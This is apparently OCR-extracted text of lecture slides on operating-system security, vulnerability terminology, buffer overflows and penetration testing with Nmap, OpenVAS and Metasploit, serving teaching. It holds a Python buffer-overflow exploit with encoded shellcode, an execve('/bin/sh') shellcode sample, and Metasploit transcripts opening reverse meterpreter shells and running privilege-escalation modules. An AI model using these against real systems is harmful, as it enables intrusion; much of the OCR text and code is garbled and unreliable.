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Operating Systems - Components

® Process, Threads - Process; an instance of a running
program, a containers for one or more threads. [ hread; a unit
of execution managed by a scheduler. Synchronization

@ Memory Management - Process memory allocation,
manipulation and privileges etc.

@ File Management - Data storage, manipulation, privileges
e

@ Network Management - Connectivity with other
networked nodes



Operating Systems - Components Contd.

@ I/O Device Management - Hardware interface and
abstraction

@ User Management - Segregation of user w.rt resources
access and management

® Security Management - Access control management and
enforcement

@ Command Interpreter System - lerminal for human
interface



Operating Systems - Architecture

Operating System Architecture

Least privileged

Most privileged

Device drivers

Applications

Wikipedia

® Ring O - Kernel

® Ring 3 - Userspace

® Ring -X: False rings, e.g Ring -| Hypervisor
Learn CS



Operating Systems - Program Memory
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* https://p.ost2.fyi/courses/course-v1:0penSecurity Training2+Vulns1001_C-derived+2022_v1/about



Hypothesis

= Programs are run by an authenticated user (authentication)
= Resources are accessed through programs (authorization)
= Fvery access Is checked by the system (complete mediation)

v Everything Is "secured’ as long as long as the system is well
configured and the programs and users behave as expected

® But ..



| hreats



What can go wrong!

How can the security be compromised?
@ A component of the OS may be vulnerable
@ A program can be vulnerable

@ An adversarial component could be added to the OS or
connected via hardware interface

@ A program can have an undesirable and malicious behaviour



Vulnerable OS5 Components and
Programs



Vulnerabllities

= A vulnerability I1s a security weakness in program which may
be explortable to realize or enable a threat

= A program Is said to be “vulnerable’ If it contains any such
weakness

= [he Common Weakness Enumeration (CWE) database by
Mitre attempts to catalogue these weaknesses: https://
cwe.mitre.org/



https://cwe.mitre.org/
https://cwe.mitre.org/

Why do Vulnerabillities exist ¢

= Fundamental oversights in software design. Designed to do
the wrong thing a.k.a Design Flaws

= |mplementation flaws/bugs relevant to security a.k.a Technical
Flaws

= Faulty inter-operation with executing environment a.k.a
Operational Flaws

@ Arbitrarily trusting input data, misplaced trust



Vulnerability lerminology

@ Common Vulnerability Enumeration (CVE)

Identification - A unique identifier for a disclosed
VUlﬂerability Eg CVE-2022-40684. https://www.cvedetails.com

@ Common Vulnerability Scoring System (CVSS) -

Represents the severity of a vulnerability as a numerical
SeeeRC@lrrently v3. 1. E.g AV:IN/ACL/PR:N/UEN/S S SIS

s B F/RLU/RC.C = 9.6 https://www.first.org/cvss/

0.1-3.9 4.0-6.9 70-8.9 9.0-10.0

® Proof of Concept (PoC) - A benign program that
demonstrates the potential impact of exploiting a
vulnerabllity.


https://www.cvedetails.com
https://www.first.org/cvss/

Vulnerabillity Terminology Contd.

@ Exploit - A weaponized (contains malicious payload)
program that leverages a vulnerability to actualize a threat.

Also weaponized PoC

® 0-day vulnerability™ - A vulnerability actively exploited in-
the-wild before disclosed (0 days after disclosure) to the
relevant software vendor. E.g CVE-2022-40634.

® N-day vulnerability™ - A vulnerability actively exploited N
days after public disclosure.

@ Disclosure - [he practice of reporting a vulnerability

* - Definitions may differ in other sources. Sometimes, the ‘vulnerability’ is replaced with ‘exploit’



Vulnerability Terminology Contd.

: import sys, socket
import sys, socket
if len(sys.argv) < 2:
if len(sys.argv) < 2: print "\nUsage: " + sys.argv[@] + " <HOST>\n"
print "\nUsage: " + sys.argv[@] + " <HOST>\n" sys.exit()
sys.exit()
payload = (
cmd = "OVRFLW " "\xdd\xc6\x89\xe7\xd9\x77\xf4\x58\x8d\ x40\ x3c\x89\xc3\x83\xc3"
junk = "\x41" % 3000 "\x06\x31\xc9\x66\xb9\x5d\xFf\x66\xf7\xd1\x0f\xb7\x13\x81\xeb"
end = "\r\n" "\ xfe\xff\xff\xff\xff\x30\x5e\xcl\xeé\x10\xcl\xee\x10\x31\xd6"
"\x66\x89\x30\x8d\ x40\ x02\ x49\x85\xc9\ x0T\ x85\ xdd\xFF\xFf\xff"
buffer = cmd + junk + end "\x18\x7b\x72\x0c\x25\x8d\xe4\x93\xf@\x0Oc\x25\x8d\ x84\ x1la\x15"
"\x3d\xe5\xe9\x0f\x4a\x25\xb6\xb7\xe5\x84\x18\x31\x3d\xc5\xcd"
"\x8b\xaf\x7b\x1b\xf4\x32\x27\x93\x1a\x67\xf6\x1e\x07\x52\xd5"
"\x6a\xf7\xd9\xe5\xad\x87\x3d\x7c\x8b\xf5\x2b\xcd\x01\xf7\xc7"
"\xe&\x53\x2e\x49\xT6\x16\xb5\xd8\x77\x69\xf7\xc5\x3e\x91\x6f"
"\x8a\xcd\x8c\xb5\xa5\xe4\x8b\x1b\xbd\x4a\x09\x25\x44\x16\xbc"
"\x8d\x31\xc5\x31\xe@\xbf\xfO\xc9\xfe\x4c\xc4\xca\x14\x91\x75"
"\x14\xe@\xcb\xc7\xf7\xfe\x18\xab\x40\x9f\xeb\xff\xcb\x20\x44"
"\x14\xea\x2f\x42\x64\x60\x30\xb1\x74\x23\x3d\x3a\x61\x4e\x94"
Exhibit A - Proof of Concept "\x7c\x62\x60\xea\x5c\x7F\xf1\x3f\x08\xd9\x6e\x7f\xF1\x57\x7f"
"\xaa\x5c\x20\xa5\x3f\x33\xdd\x7a\x27\x5a\xea\x8b\x4d\x7b\x27"
"\x5a\xc3\x4T\x19\x2b\x4T\x73\ x43\x24\x19\ xd4\x9a\x23\ x13\x74"
"\x49\x94\xca\x63\x43\x1c\xa3\x9b\x15\x83\ xbc\xc9\x34\xf1\x10"
"\xeb\x7c\x61\x22\xee\x78\xe9\x7c\x60\x99\x67\x9e\x83\x6c\x36"
"\xce\x0f\x07\x26\x18\x57\x31\xda\x82\xe6\xé6c\x5b\xce\x94\x8a"
"\x93\x80\x33\x3e\x21\x28\xc5\x7f\xeb6\x56\x42\x45\xal\x7f\x6f"
"\xb5\x15\x12\xf6\x4e\x99\xdf\x07\x4b\xa0\xac\x64\xb9\xco\x0f"
AV CIAVCUAVCIAVGEAVTGAS ARV ELAVE AV ER AV CEAVCEAVS RAVI AV G LAVE -8
"\xee\x4f\x49\xbe\x80\xa3\xbd\x19\x21\xc7\x4c\x9c\x3b\xeb\xf4"
"\x4e\xac\xd2\x6d\xa@\x8b\x7e\xc4\xda\xea\xbd\x6b\x81\x11\x61"
"\x1a\x08\xc9\xd7\x79\xc7\x8f\xb5\x54\x28\xac\xfb\x89\xc9\x5e"
"\xa8\x57\x1b\xfc\xcc\xe5\xef\x44\x69\x93\xaé\xe5\xbc\xbb\xbc")

= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
.connect((sys.argv[1], 4455))

.send(buffer)

.recv(1024)

.close()

cmd = "OVRFLW "

#junk = "\x41" *x 2029 + "\x83\x66\x62\x65" * & + "\x43" x (3000 2029 4)

junk = "\x41" * 1369 + "\x83\x66\x52\x56" + "\x90" x 16 + payload + "\x43" * (3000 - 1369 - & - len(payload) - 8)
end = "\r\n"

buffer = cmd + junk + end

= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
.connect((sys.argv[1], 4455))
.send(buffer)

Exhibit B - Exploit .recv(1024)

.close()




Vulnerability Classes (subset)

= Some common vulnerability classes and their common
impact

@ Stack/Heap Buffer Overflow - Arbitrary Code Execution,
Biehiclof Service

® Integer Under-/Over- flow - Code Execution, Denial of
Service, Information Disclosure

@ Use After Free - Arbitrary Code Execution, Denial of
Service, Information Disclosure



Vulnerability Classes (subset) Contd.

= Some common vulnerability classes and their common
impact

® Use After Free - Arbitrary Code Execution, Denial of
SElrvieE

@ lTime of Check Time of Use / Race Conditions -
Elevation of Privilege, Denial of Service

@ Out of Bounds Write/Read - Arbitrary Code Execution,
Information Disclosure, Denial of Service



Vulnerability Discovery and
Disclosure

@ How are vulnerabilities discovered?
= Source code auditing

= Fuzzing

= Variant analysis

= Program analysis (synthetic, static and dynamic)



Vulnerability Discovery and
Disclosure Contd.

@ How are vulnerabilities disclosed?
= Responsible or Co-ordinated Disclosure
= rull Disclosure

= Private Disclosure



Buffer Overflows
Brief Case Study




Buffer Overflow Attacks

What is the idea?

= |njecting wrong data input In a way that it will be interpreted
as Instructions

How data can become instructions?

= Because the data and instructions are the same thing
binary values in memory

When was it discovered for the first time?

= Understood as early as |972, first severe attack in 1988



VWhat you need to know

» understand C functions

» familiar with assembly code

» understand the runtime stack and data encoding
» know how systems calls are performed

» Understand memory layout



Stack execution

Allocate |local buffer

(126 bytes In the

el iinic (char *str stac|<)
elsteie "ot [ 120 ] ;

strcpy (buf, str) ; Copy argument into
} local buffer

Stack grows this way

High addresses

buf sfp a’ggr -

L 11 11l -a-em o
Local variables Pointer to Arguments
previous
frame
Caller's

stack frame

Callee's
stack frame

Low addresses

Purposely left out things that differ between compilers, ABIs, or architectures

Stack Memory Diagram Conventions, Vuln1001, ost2.fyi, 2022



VWhat If the buffer is overstuffed?

strcpy does not check whether the string
at *str contains fewer than |26 characters ...

overflow

This will be
interpreted
as return address!

. If a string longer than |26 bytes Is copied into buffer,
it will overwrite adjacent stack locations



Injecting Code
Shellcode

#include <stdio.h>

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2£f\x73"
"\x6B\x6B\x2£f\x62\x69\x6e\x89"
"\xe3\x89\xcl\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";

int main()

{
fprintf(stdout, "Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();

}

code

— <

Attacker puts actual assembly
instructions into his input string, e.qg.,
binary code of execve("/bin/sh”)

In the overflow, a pointer back
into the buffer appears in
the location where the system
expects to find return address




Why are we still vulnerable to buffer overflows!?

Why code written in assembly code or C are
subject to buffer overflow attacks?

= Because C has primitives to manipulate the memory directly
elmicrs ect ...)

If other programming languages are ‘“memory
safe”, why are we not using them instead?

» Because C and assembly code are used when a program
requires high performances (audio, graphics, calculus ...)
or when dealing with hardware directly (OS, drivers ....)



Malicious OS5 Components and
Programs



= Err 404, See you next week ;)



Malicious Program vs.Vulnerable Program

The program has been desighed to compromise the security
of the operating system

e liser executes a malware

The program has not been designed to compromise the
security of the operating system may can enable the

= [he user executes a legitimate program that may be coerced
INto executing a malicious payload. I he program Is potentially

explortable.

@ Arbitrary Code Execution Vulnerability :a
vulnerability that can be exploited to execute a malicious

payload (code)



What Is a secure system!?



Correctness (Safety) vs Security

Satisfy specifications

Safety “for reasonable inputs,

oet reasonable outputs”

Resist attacks

Secu I"ity “for unreasonable inputs,

oet reasonable outputs”

The attacker is an active entity



One say that such program/os I1s more vulnerable

Some are ...

more deployed than others

more complex than others

more open to third-party code
than others

so 000

more targeted/audited by
hackers/researchers

multiple points of failure, larger
attack surface

more “amateur’ codes,
permissive execution



compare OS and programs!?
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What Makes A Good Security Metric?
Johnathan Nightingale]

* Severity
* Some bugs are directly explortable

B WhiEr s fequires the user to cooperate”

 Exposure Window

» How long are users exposed to the vulnerability!

e Complete Disclosure

» Do vendors always disclose vulnerabilities found internally?



Penetration lesting

Discovering and

-xplorting Vulnerabllities



Vulnerability Assessment vs Penetration [esting

Vulnerability assessment
= |dentify and quantify the vulnerabilities of a system

http://www.sans.org/reading-room/whitepapers/basics/vulnerability-assessment-42 |

Penetration testing (aka pentest)

= Authorized and deliberate attack of a system with the
intention

of finding security weaknesses

http://www.sans.org/reading-room/whitepapers/analyst/penetration-testing-assessing-security-attackers-34635



http://www.sans.org/reading-room/whitepapers/analyst/penetration-testing-assessing-security-attackers-34635

Stages and Tools

Reconnaissance

Vulnerability
Assessment

Penetration Testing

Mapping and Fingerprinting
e.g NMAP

Vulnerability Scanner
e.g OpenVAS

Explort Framework
e.g Metasploit




Nmap

Network Mapping
and Host Fingerprinting




About Nmap

Starting Nmap 7.12 ( https://nmap.org ) at 2017-07-01 07:05 EDT
htt .// Nmap scan report for 192.168.101.10
p. Host is up (©.032s latency).
Not shown: 996 filtered ports

n m ap.o rg/ PORT STATE SERVICE VERSION

25/tcp open smtp Postfix smtpd

| _smtp-commands: mail.ptest.lab, PIPELINING, SIZE, ETRN, STARTTLS, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=mail.test.lab/organizationName=mail.test.lab/stateOrProvinceName=GuangDong/countryName=CN

| Not valid before: 2017-04-22T719:19:57

Crea'ted b>/ |_Not valid after: 2027-84-20T19:19:57

| _ssl-date: TLS randomness does not represent time

. 80/tcp open http nginx 1.12.0
Gordon Lyon |n |_http-title: 4083 Forbidden
88/tcp open http nginx 1.6.2

| 997 | http-robots.txt: 1 disallowed entry
|_/
| _http-server-header: nginx/1.6.2

| _http-title: Users

8080/tcp open http nginx

Already | _http-open-proxy: Proxy might be redirecting requests

| http-robots.txt: 1 disallowed entry

' ' |_/

|nS-ta| |ed On Kall | _http-server-header: nginx

A |_http-title: Site doesn't have a title (text/html).

|_| nUX Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X|3.X
0S CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2
0S details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2

G U | Ve rS i O n Network Distance: 2 hops

Service Info: Host: mail.ptest.lab

Ca| |ed Zenmap TRACEROUTE (using port 8@/tcp)

HOP RTT ADDRESS

<a|SO on Ka|| i 0.43 ms 192.168.93.2

0.30 ms 192.168.101.10

|_| nUX> 0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.94 seconds




Using NMAP

e Host discovery (ping based)
e =P 10.0.1.0-255

e OS detection
-0 10.0.1.101

* Full TCP port scanning
el e o p0-65535 10.0.1.101

e Version detection
SR eEro =V 10.0.1.101

e Export a full scan to a file
B =Y —p0-65535 10.0.1.101 -oN target.mmelE



Other features

SR> scan
* Stealth scan (to go through firewalls)
* Slow scan (to avoid detection)

* Scripting engine (to explorit vulnerabilities)



OpenVAS

Vulnerability Scanner



About OpenVAS

http://www.openvas.org/

Fork of Nessus (created in 1998)
Maintained by Greenbone Networks GMBH

Already installed on Kali Linux

Commercial alternatives :

Nessus, Nexpose, Core Impact, Retina Network Security Scanner

Greenbone Logged in as Admin admin | Logout
g) Security Assistant

Sun Oct1213:17:19 2014 UTC

Scan Management Asset Management Secinfo Management Configuration Administration

Sle

/,\

Tasks ..l-lofl(totalz 1) L1 B EN 1 B

' VRefresh every 10 Sec. T ]

T —
Filter: ‘apply overrides=1 rows=10 permission=any owner=any first=1 sort= nam’ SE? IS * BEEA S
Stat Severity T d Acti
atus I ren ions
Immediate scan of IP 10.0.1.101 . 0 (1) LWL iR
(Applied filter: apply_overrides=1 rows=10 permission=any owner=any first=1 sort=name) B B 1 -1 of1 (total 1) bl Bl




Setting up OpenVAS (on Kali Linux)

|. Update™ signature database

S openvas-setup

2. Start OpenVAS

S openvas-start

3. Change™ admin password

S openvasmd —create-user=admin

S openvasmd —new-password=admin —user=admin

4. Open the web interface
BRsEssy/ localhost : 9392

* already done in the kali vagrant box provided for hw2



Logged in as Admin admin | Logout

" Security Assistant Sun Oct 12 13:33:23 2014 UTC

Scan Management Asset Management Secinfo Management Configuration Administration

~ Report: Results [ 1 - 100 of 124 (total: 124) ¥ B8 "

Filter: lsort-reverse=severity result_hosts_only=1 min_cvss_base= levels=hmng (? |5 { lu ‘;—3| (=]
PHP version smaller than 5.2.7 (IN?IIE(‘)I'&S.IIDE(IJITABLE ) 80/tcp B4 |
PHP version smaller than 5.2.6 (lrgégrﬁs.lgg(l)lTABLE ) 80/tcp 5 1%
A ey s B
X server (METASPLOITABLE ) St Sl
PHP version smaller than 5.2.14 (IN?IIEQI'ﬁéI%’E(IJITABLE ) 80/tcp 5 |
PHP version smaller than 5.2.5 (lrgéqrﬁéIIDE(I)ITABLE ) 80/tcp 4| (%)
PHP version smaller than 5.3.3 (IN?IIE(‘)I'&S.I%’E(IJITABLE ) 80/tcp B4 |
MySQL 5.x Unspecified Buffer Overflow Vulnerability (lrg'EgrﬁS.ll’(l_)cl)lTABLE ) 3306/tcp 4| (%)
distcc Remote Code Execution Vulnerability (lrﬁllzc‘)rﬁs.Il:’E(lleABLE ) 3632/tcp B4 |
SSH Brute Force Logins with default Credentials (lrg'Eq'ﬁS.ll’(l_)cl)lTABLE ) 22/tcp 4| (%)
MySQL weak password (lhgllzc‘)l'ﬁsll%’f(lleABLE ) 3306/tcp B4 |
PostgreSQL weak password (lrg'Eq'ﬁS.ll’(l_)cl)lTABLE ) 5432/tcp 4| (%)
MySQL 'sql_parse.cc' Multiple Format String Vulnerabilities (lhgllzc‘)l'ﬁsll%’?(lleABLE ) 3306/tcp esifh. )
DistCC Detection (IS'E‘)Tﬁé%,EélTABLE) 3632/tcp S
PostgreSQL Multiple Security Vulnerabilities ~8.5(High) (lrﬁllzc‘)l'.,'-:\LS'Il:’EtlleABLE ) 5432/tcp esifh. )
vsftpd Compromised Source Packages Backdoor Vulnerability (lhg'E%'ﬁS.%’E(l)ITABLE ) 21/tcp 4| (%)
ProFTPD Server SQL Injection Vulnerability (lhgllqu'isll%’f_)(lleABLE ) 21/tcp =%
Tikiwiki Versions Prior to 4.2 Multiple Unspecified Vulnerabilities (lhg'Eq'ﬁS.%’E(l)lTABLE ) 80/tcp 4| (%)
PHPCaibased setups winerabily when pershg ey st g JOOLIOL L s =S



Metasploit

-xplort Framework




About Metasplort

root@kali:~/n33trix/htb/targets/10.10.10.5# msfconsole -q

http:// msf > use exploit/multi/handler

msf exploit(handler) > set LHOST 10.10.14.75

Www.metaspl LHOST => 10.10.14.75

msf exploit(handler) > set LPORT 443
[ J ~ .
LPORT => 443
oit.com/ SER A U U
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse tcp
exploit(handler) > run

Cl"ea'ted by /—/D . Exploit running as background job.

| Started reverse TCP handler on 10.10.14.75:443
MOOre in 2003 . exploit(handler) > [*] Sending stage (956991 bytes) to 10.10.10.5

Meterpreter session 1 opened (10.10.14.75:443 -> 10.10.10.5:49169) at 201

Acquired by -0400 '
delcﬁ iﬂ 2009 exploit(handler) >

Starting interaction with

meterpreter > run post/multi/recon/local exploit suggester

Already Installed

N Ka|| |_| NUX meterpreter > run post/multi/recon/local exploit suggester

[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 37 exploit checks are being tried...
' [+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
Com mer‘(]al [+] 10.10.10.5 - exploit/windows/local/ms1@ 015 kitrap@d: The target service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/msl0 092 schelevator: The target appears to be vulnerable.
: ; [+] 10.10.10.5 - exploit/windows/local/msl3 053 schlamperei: The target appears to be vulnerable.
al_te Iﬂﬂ aJUVGS . [+] 10.10.10.5 - exploit,n"'w‘indows/local/m513:®8l:t rack_popup menu: The target appears to be vulnerable.
: [+] 10.10.10.5 - exploit/windows/local/msl4 058 track popup menu: The target appears to be vulnerable.
Me‘tasplOl‘t Pr‘o [+] 10.10.10.5 - exploit/windows/local/ms15 004 tswbproxy: The target service is running, but could not be validated.
) [+] 10.10.10.5 - exploit/windows/local/ms15 051 client copy image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/msl6 016 webdav: The target service is running, but could not be validated.
CO re |m pac_t [+] 10.10.10.5 - exploit/windows/local/msl6 032 secondary logon handle privesc: The target service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ppr flatten rec: The target appears to be vulnerable.




Setting up Metasplort (on Kali Linux)

|. update™ explort database

S msfupdate

2. Start Postgresql and Metaploit services

-1 ce postgresgl start
S service metasploit start

3. Start Metasploit console

Rl fconsole



Metasploit Demo

meterpreter > background

[*] Backgrounding session 1...

msf exploit(msl0 092 schelevator) > use exploit/windows/local/msl4 058 track popup menu
sf exploit(msl4 058 track popup menu) > show options

e
*

Module options (exploit/windows/local/msl4 058 track popup menu) :

Name Current Setting Required Description

SESSION

Exploit target:

Id Name

€] Windows x86

msf exploit(msl4 058 track popup menu) > set SESSION 1
SION => 1
exploit(msl4 058 track popup_menu) > run

)]

)]

S U
m
—h U

Started reverse TCP handler on 172.16.118.128:4444
Launching notepad to host the exploit...

Process 1288 launched.

Reflectively injecting the exploit DLL into 1288...
Injecting exploit into 1288...

Exploit injected. Injecting payload into 1288...

Payload injected. Executing exploit...

Exploit finished, wait for (hopefully privileged) payload execution to complete.
Exploit completed, but no session was created.
exploit(msl4 058 track popup menu) > set LHOST 10.10.14.75
ST => 10.10.14.75

exploit(ms1l4 058 track popup_menu) > run

++ ¥ ¥ ¥ ++ ¥ ¥
bl b b b b — b b ]

= ey p— p— p— p— p— p— p— p—

)]

[*] Started reverse TCP handler on 10.10.14.75:4444
[*] Launching notepad to host the exploit...




Using Metasplort to exploit a vulnerability

Example : UnreallRCD 3.2.8.1 Backdoor Command
Execution

msf piseNexplolt/unix/irc/unreal 1rcd SZiciNoeiGisESIie

fiisHE show options
Sl RO SHS 12000, 10101

exploilt

mst

N/ASIRIEN/ S VA 7

mst

Ellleeess!



Armitage (Metasploit GUI)

http://www.fastandeasyhacking.com/
Created by Raphael Mudge

Already installed in Kali Linux

Start Armitage

S armitage



L} L |
l |S| n Arm |-ta e Armitage View Hosts Attacks Workspaces Help
g g » (& auxiliary

»@exploit |
» [ payload >
> [.j post
Attack 10.0.1.101
UnreallRCD 3.2.8.1 Backdoor Command Execution
This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1
download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive
between November 2009 and lune 12th 2010,
Option 4 | Value
LHOST 10.0.2.15
|. Add host(s
. RHOST + 10.0.1.101

RPORT 6667

Targets: |0 => Automatic Target v/

-

2 S Ca n JM Scan X ] | | Use a reverse connection
[ |

[AVIRVI AN ) _— I

msf auxiliary( RISk | Show advanced options
RHOSTS => 10.0.1.101
msf auxiliary(

[*] 10.0.1.101:3306 is running MySQL 5.0.5la-3ubuntu5 (protocol 10)

3 I:i nd a—t—taC|<S [*] Scanned 1 of 1 hosts (100% complete)

[*] 1 scan to go...

msf auxiliary( ) > use scanner/postgres/postgres_version
msf auxiliary( ) > set THREADS 24

THREADS => 24

msf auxiliary( ) > set RPORT 5432

4- Exp | O i-t a_t_taC|<S EREU:;L?::;( ) > set RHOSTS 10.0.1.101

RHOSTS => 10.0.1.101

msf auxiliary( ) > run -j

[*] Auxiliary module running as background job

[*] 10.0.1.101:5432 Postgres - Version 8.3.8 (Pre-Auth)
[*] Scanned 1 of 1 hosts (100°% complete)

[*] Scan complete in 129.673s
msf auxiliary( ) >
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